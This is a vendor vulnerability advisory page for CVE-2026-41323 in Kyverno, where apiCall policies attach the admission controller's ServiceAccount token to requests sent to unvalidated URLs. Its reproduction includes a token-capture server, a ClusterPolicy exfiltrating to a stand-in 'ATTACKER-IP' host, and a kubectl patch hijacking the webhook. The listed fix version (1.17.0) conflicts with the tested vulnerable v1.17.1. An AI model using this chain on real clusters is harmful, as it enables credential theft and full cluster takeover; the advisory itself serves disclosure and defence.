Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

CVE-2026-41323 — kyverno

HIGHFix: kyverno/kyverno@bc4f91c

CVE-2026-41323 is a high-severity (CVSS 8.1) Information Exposure vulnerability in github.com/kyverno/kyverno. A fix is available for github.com/kyverno/kyverno — see the affected versions and patch details below.

Kyverno: ServiceAccount token leaked to external servers via apiCall service URL

Also known asBIT-kyverno-2026-41323GHSA-f9g8-6ppc-pqq4GO-2026-5351
Published
Apr 24, 2026
Updated
Aug 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-41323.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs45th percentile — riskier than 45% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-41323 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐹github.com/kyverno/kyverno

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Kyverno's apiCall feature in ClusterPolicy automatically attaches the admission controller's ServiceAccount token to outgoing HTTP requests. The service URL has no validation — it can point anywhere, including attacker-controlled servers. Since the admission controller SA has permissions to patch webhook configurations, a stolen token leads to full cluster compromise.

Affected version

Tested on Kyverno v1.17.1 (Helm chart default installation). Likely affects all versions with apiCall service support.

Details

There are two issues that combine into one attack chain.

The first is in pkg/engine/apicall/executor.go around line 138. The service URL from the policy spec goes straight into http.NewRequestWithContext():

req, err := http.NewRequestWithContext(ctx, string(apiCall.Method), apiCall.Service.URL, data)

No scheme check, no IP restriction, no allowlist. The policy validation webhook (pkg/validation/policy/validate.go) only looks at JMESPath syntax.

The second is at lines 155-159 of the same file. If the request doesn't already have an Authorization header, Kyverno reads its own SA token and injects it:

if req.Header.Get("Authorization") == "" {
    token := a.getToken()
    req.Header.Add("Authorization", "Bearer "+token)
}

The token is the admission controller's long-lived SA token from /var/run/secrets/kubernetes.io/serviceaccount/token. With the default Helm install, this SA (kyverno-admission-controller) can read and PATCH both MutatingWebhookConfiguration and ValidatingWebhookConfiguration.

Reproduction

Environment: Kyverno v1.17.1, K3s v1.34.5, single-node cluster, default Helm install

Step 1: Start an HTTP listener on an attacker machine:

# capture_server.py
from http.server import HTTPServer, BaseHTTPRequestHandler
import json, datetime

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        print(json.dumps({
            "timestamp": str(datetime.datetime.now()),
            "path": self.path,
            "headers": dict(self.headers)
        }, indent=2))
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.end_headers()
        self.wfile.write(b'{"ok": true}')

HTTPServer(("0.0.0.0", 9999), Handler).serve_forever()

Step 2: Create a ClusterPolicy that calls the attacker server:

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: ssrf-poc
spec:
  validationFailureAction: Audit
  background: false
  rules:
  - name: exfil
    match:
      any:
      - resources:
          kinds:
          - Pod
    context:
    - name: exfil
      apiCall:
        service:
          url: "http://ATTACKER-IP:9999/steal"
        method: GET
        jmesPath: "@"
    validate:
      message: "check"
      deny:
        conditions:
          any:
          - key: "{{ exfil }}"
            operator: Equals
            value: "NEVER_MATCHES"

Step 3: Create any pod to trigger policy evaluation:

kubectl run test --image=nginx

Step 4: The listener receives the SA token immediately:

Authorization: Bearer eyJhbGciOiJSUzI1NiIs...

Decoded JWT sub claim: system:serviceaccount:kyverno:kyverno-admission-controller

Every subsequent pod creation sends the token again. No race condition, no timing — it fires every time.

Step 5: Use the token to hijack webhooks:

# Verify permissions
kubectl auth can-i patch mutatingwebhookconfigurations \
  --as=system:serviceaccount:kyverno:kyverno-admission-controller
# yes

# Patch the webhook to redirect to attacker
kubectl patch mutatingwebhookconfiguration kyverno-policy-mutating-webhook-cfg \
  --type='json' \
  -p='[{"op":"replace","path":"/webhooks/0/clientConfig/url","value":"https://ATTACKER:443/mutate"}]' \
  --token="eyJhbG..."

After this, every K8s API request that triggers the webhook goes to the attacker's server. The attacker can mutate any pod spec — inject containers, mount host paths, add privileged security contexts.

Verified permissions of stolen token

Tested with the default Helm installation:

ActionResult
List pods (all namespaces)Allowed
Read configmaps in kube-systemAllowed
PATCH MutatingWebhookConfigurationAllowed
PATCH ValidatingWebhookConfigurationAllowed
Read secrets (cluster-wide)Denied (per-NS only)

Impact

An attacker who can create ClusterPolicy resources (or who compromises a service account with that permission) can steal Kyverno's admission controller token and use it to:

  1. Hijack Kyverno's own mutating/validating webhooks
  2. Intercept and modify every API request flowing through the cluster
  3. Inject malicious containers, escalate privileges, exfiltrate secrets

The token is also sent to internal endpoints — http://169.254.169.254/latest/meta-data/ works, so on cloud-hosted clusters (EKS, GKE, AKS) this also leaks cloud IAM credentials.

RBAC note: ClusterPolicy is a cluster-scoped resource, so creating one requires cluster-level RBAC. But in practice, platform teams often grant policy-write to team leads or automation pipelines. The auto-injection of the SA token is the unexpected part — nobody expects writing a policy to leak the controller's credentials.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/kyverno/kyvernoall versions1.17.0go get github.com/kyverno/kyverno@v1.17.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/kyverno/kyverno, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/kyverno/kyverno to 1.17.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-41323 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-41323 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-41323. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary Kyverno's apiCall feature in ClusterPolicy automatically attaches the admission controller's ServiceAccount token to outgoing HTTP requests. The service URL has no validation — it can point anywhere, including attacker-controlled servers. Since the admission controller SA has permissions to patch webhook configurations, a stolen token leads to full cluster compromise. ## Affected version Tested on Kyverno v1.17.1 (Helm chart default installation). Likely affects all versions with apiCall service support. ## Details There are two issues that combine into one attack chain. The f
O3 Security · Impact-Aware SCA

Is CVE-2026-41323 in your dependencies?

O3 Security finds CVE-2026-41323 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-41323: kyverno SSRF (High 8.1) | O3 Security